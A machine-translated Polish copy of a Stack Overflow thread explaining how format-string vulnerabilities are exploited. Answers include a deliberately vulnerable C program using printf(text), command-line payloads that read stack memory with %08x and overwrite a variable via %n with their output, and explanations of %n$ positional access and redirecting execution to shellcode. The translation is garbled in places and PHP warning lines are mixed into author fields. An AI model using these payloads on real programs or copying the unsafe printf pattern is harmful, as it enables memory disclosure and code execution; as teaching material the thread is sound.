W jaki sposób można wykorzystać lukę typu Format-String?

Czytałem o lukach w kodzie i natknąłem się na lukę w formacie -String.

Wikipedia mówi:

Błędy ciągu formatowania najczęściej pojawiają się, gdy programista chce wypisuje łańcuch zawierający dane dostarczone przez użytkownika. Programista może błędnie zapisuje printf (bufor) zamiast printf ("%s", bufor). Na pierwsza wersja interpretuje bufor jako ciąg formatujący i parsuje dowolny instrukcje formatowania mogą zawierać. Drugi wersja po prostu drukuje ciąg znaków na ekranie, zgodnie z intencją programisty.

Mam problem z wersją printf (bufor), ale nadal nie rozumiem, jak ta luka może być wykorzystana przez atakującego do wykonania szkodliwego kodu. Czy ktoś może mi powiedzieć, jak ta luka może być wykorzystana przez przykład?

Author: Atul Goyal, 2011-09-18

5 answers

Możesz być w stanie wykorzystać lukę w łańcuchu formatu na wiele sposobów, bezpośrednio lub pośrednio. Jako przykład (zakładając, że nie ma odpowiednich zabezpieczeń systemu operacyjnego, co i tak jest bardzo rzadkie):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

Podstawą tej luki jest zachowanie funkcji ze zmiennymi argumentami. Funkcja, która implementuje obsługę zmiennej liczby parametrów, musi w zasadzie odczytać je ze stosu. Jeśli podamy ciąg formatujący, który sprawi, że printf() będzie oczekiwać dwóch liczby całkowite na stosie i podajemy tylko jeden parametr, drugi będzie musiał być czymś innym na stosie. Jeśli mamy kontrolę nad ciągiem formatowania, możemy mieć dwa najbardziej fundamentalne pierwiastki:


Odczyt z dowolnych adresów pamięci

[edytuj] Ważne: przedstawiam kilka założeń dotyczących układu ramek stosu. Możesz je zignorować, jeśli rozumiesz podstawowe założenia kryjące się za luką i różnią się one w zależności od System operacyjny, platforma, program i konfiguracja.

Do odczytu danych można użyć parametru %s format. Możesz odczytać dane z oryginalnego ciągu formatu w printf(text), stąd możesz go użyć do odczytu czegokolwiek poza stosem:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Zapis do dowolnych adresów pamięci

Możesz użyć specyfikatora formatu %n do zapisu pod dowolny adres (prawie). Ponownie, Załóżmy nasz podatny program powyżej, i spróbujmy zmienić wartość some_value, która znajduje się w 0x08049794, Jak widać powyżej:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

Nadpisaliśmy some_value liczbą bajtów zapisanych przed napotkaniem specyfikacji %n (man printf). Możemy użyć samego ciągu formatu lub szerokości pola do kontrolowania tej wartości:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

Istnieje wiele możliwości i trików do wypróbowania (bezpośredni dostęp do parametrów, duża szerokość pola umożliwiająca owijanie wokół, budowanie własnych prymitywów), a to tylko dotyka wierzchołka góry lodowej. Proponuję przeczytać więcej artykułów na luki strunowe fmt (Phrack ma kilka w większości znakomitych, choć mogą być trochę zaawansowane) lub książka poruszająca ten temat.


[13]} Zastrzeżenie: przykłady zostały zaczerpnięte [choć nie dosłowne] z książkiHacking: the art of exploitation (2nd ed) Jona Ericksona.
 88
Author: Michael Foukarakis,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-10-03 00:43:34

Interesujące jest to, że nikt nie wspomniał o notacji n$ obsługiwanej przez POSIX. Jeśli możesz kontrolować łańcuch formatowania jako atakujący, możesz użyć notacji takich jak:

"%200$p"

Aby odczytać 200th pozycji na stosie (jeśli taka istnieje). Intencją jest, aby lista wszystkich n$ liczb od 1 do maksimum, i zapewnia sposób resekwencjonowania, w jaki sposób parametry pojawiają się w ciągu formatu, co jest przydatne w przypadku I18N (L10N, G11N, M18N*).

Jednak niektóre (prawdopodobnie większość) systemy są nieco niedokładne co do sposobu walidacji wartości n$, co może prowadzić do nadużyć ze strony atakujących, którzy mogą kontrolować ciąg formatowania. W połączeniu ze specyfikatorem formatu %n może to prowadzić do zapisu w miejscach wskaźnika.


* akronimy I18N, L10N, G11N i M18N oznaczają odpowiednio internacjonalizację, lokalizację, globalizację i wielonarodowość. Liczba oznacza liczba pominiętych liter.

 11
Author: Jonathan Leffler,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2016-08-18 21:31:39

Odpowiedź jest w artykule!

Niekontrolowany ciąg formatowania to rodzaj luki w oprogramowaniu, odkryty około 1999 roku, który może być użyty w exploitach bezpieczeństwa. Wcześniej uważane za nieszkodliwe, exploity formatujące mogą być użyte do rozbicia programu lub do wykonania szkodliwego kodu .

Typowy exploit używa kombinacji tych technik, aby wymusić na programie nadpisanie adresu funkcji bibliotecznej lub adresu zwrotnego na stosie za pomocą wskaźnik do jakiegoś złośliwego kodu powłoki. Parametry dopełniania do specyfikacji formatu są używane do kontrolowania liczby bajtów wyjściowych, a token %x jest używany do wyświetlania bajtów ze stosu aż do osiągnięcia samego początku ciągu formatu. Początek ciągu formatowania jest tworzony tak, aby zawierał adres, który Token formatu %n może następnie zastąpić adresem złośliwego kodu, aby wykonać.

To dlatego, że %n przyczyny printf do zapis dane do zmiennej , która znajduje się na stosie. Ale to oznacza, że może napisać do czegoś arbitralnie. Wystarczy, że ktoś użyje tej zmiennej (jest to stosunkowo łatwe, jeśli stanie się wskaźnikiem funkcji, którego wartość dopiero co zorientowałeś się, jak kontrolować) i może sprawić, że wykonasz wszystko dowolnie.

Spójrz na linki w artykule; one wyglądają ciekawie .

 9
Author: Mehrdad,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-09-18 05:41:22

Polecam przeczytać Ten wykład na temat luki w łańcuchu formatowania. Opisuje szczegółowo, co się dzieje i jak, i ma kilka obrazów, które mogą pomóc ci zrozumieć temat.

 2
Author: AndreyP,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2013-03-31 09:14:23

AFAIK to głównie dlatego, że może zawiesić Twój program, który jest uważany za atak typu denial-of-service. Wystarczy podać nieprawidłowy adres (praktycznie cokolwiek z kilkoma %s jest gwarantowane, że zadziała), a stanie się to prostym atakiem typu DoS (denial-of-service).

Teoretycznie jest to możliwe aby to cokolwiek wyzwoliło w przypadku obsługi wyjątku / sygnału/przerwania, ale zastanawianie się, jak to zrobić, jest poza mną -- musisz dowiedzieć się jak zapisać dowolne dane do pamięci.

Ale dlaczego kogoś obchodzi, czy program się zawiesza, można zapytać? Czy to nie przeszkadza użytkownikowi (kto i tak na to zasługuje)?

Problem polega na tym, że niektóre programy są dostępne dla wielu użytkowników, więc ich awaria wiąże się z nieistotnymi kosztami. Czasami są one krytyczne dla działania systemu (a może są w trakcie robienia czegoś bardzo krytycznego), w którym to przypadku może to być szkodliwe dla danych. Z oczywiście, jeśli rozwalisz Notatnik, to nikogo to nie obchodzi, ale jeśli rozwalisz CSRSS (który moim zdaniem miał podobny rodzaj błędu-podwójnie wolny błąd, konkretnie), to tak, cały system pójdzie w dół z Tobą.


Aktualizacja:

Zobacz ten link {[20] } dla błędu CSRSS, o którym mówiłem.


Edit:

Zwróć uwagę, że odczyt dowolnych danych może być równie niebezpieczny jak wykonywanie dowolnego kodu! Jeśli czytasz hasło, plik cookie itp. jest to tak samo poważne jak dowolne wykonanie kodu-i jest to trywialne , Jeśli masz wystarczająco dużo czasu, aby wypróbować wystarczająco dużo ciągów formatujących.

 0
Author: Mehrdad,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-09-18 05:56:24